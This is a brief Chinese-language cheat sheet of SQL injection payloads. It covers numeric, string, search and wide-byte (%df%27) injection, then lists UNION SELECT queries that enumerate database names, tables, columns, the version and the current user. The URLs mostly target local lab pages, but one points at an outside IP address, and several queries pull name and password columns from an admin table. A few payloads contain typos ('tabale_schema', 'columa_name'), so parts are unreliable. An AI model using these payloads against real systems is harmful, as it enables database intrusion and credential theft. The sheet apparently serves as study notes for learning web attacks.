SQL注入各个类型检测方式
http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型
数字型不用特意加字符,直接 and1=2检测是否有注入点;
http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin --+ 字符型
字符型需要在'xx--+ 中间输入命令,' and 1=2 --+ 检测是否有注入点;
http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+ 搜索型
搜索型需要在 %'xx --+ 中间输入命令,%' and 1=2 --+ 检测是否有注入点;
http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查询数据库
宽字节型需要在 %df%27 xx %23中间输入命令,%df%27 and 1=2 %23 检测是否有注入点,查询列表值得时候’‘要用 0x十六进值 代替;
联合查询数据库名,表名,列值,内容方式:
查询数据库
http://xxxxxx? union select null,schema_name,null from information_schema.schemata
查询当前数据库:
http://xxxxxx? union select 1,database(),null
查询当前版本信息:
http://xxxxxx? union select 1,user,@@version,null
查询数据表:
http://xxxxxx? union select null,table_name,null from information_schema.tables where table_schema='xxx'
查询数据字段:
http://xxxxxx? union select null,group_concat(column_name),null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'
查询详细信息:
http://xxxxxx? union select null,column_name,null from schema_name.columa_name